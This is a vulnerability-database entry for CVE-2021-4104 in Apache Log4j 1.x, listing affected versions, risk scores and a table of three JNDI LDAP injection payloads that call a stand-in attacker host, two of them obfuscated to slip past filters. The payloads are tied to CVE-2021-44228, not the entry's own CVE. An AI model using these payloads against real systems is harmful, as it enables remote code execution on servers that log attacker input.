CVE-2021-4104
🗓️ 14 Dec 2021 00:00:00Reported by apacheType 
cve🔗 web.nvd.nist.gov📰️ 10 Media mentions👁 1507 Views🌐 WEB
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[
{
"vendor": "Apache Software Foundation",
"product": "Apache Log4j 1.x",
"versions": [
{
"version": "Apache Log4j 1.2 1.2.x",
"status": "affected"
}
]
}
]10
| Parameter | Position | Path | Description | CWE |
|---|---|---|---|---|
| ${jndi:ldap://somesitehackerofhell.com/z} | nested | somesitehackerofhell.com/z | JNDI LDAP payload used to trigger remote code execution in Log4j (CVE-2021-44228) via nested lookups. | |
| ${jnd${upper:}:ldap://somesitehackerofhell.com/z} | nested | somesitehackerofhell.com/z | Bypass attempt using upper-case lookup to craft LDAP JNDI payload. | |
| ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z} | nested | somesitehackerofhell.com/z | Complex nested substitution to reach LDAP JNDI lookup for Log4j exploit. |
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17 Jun 2026 04:19Current
9.4High risk
Vulners AI Score9.4
CVSS 26
CVSS 3.17.5
EPSS0.81147
SSVC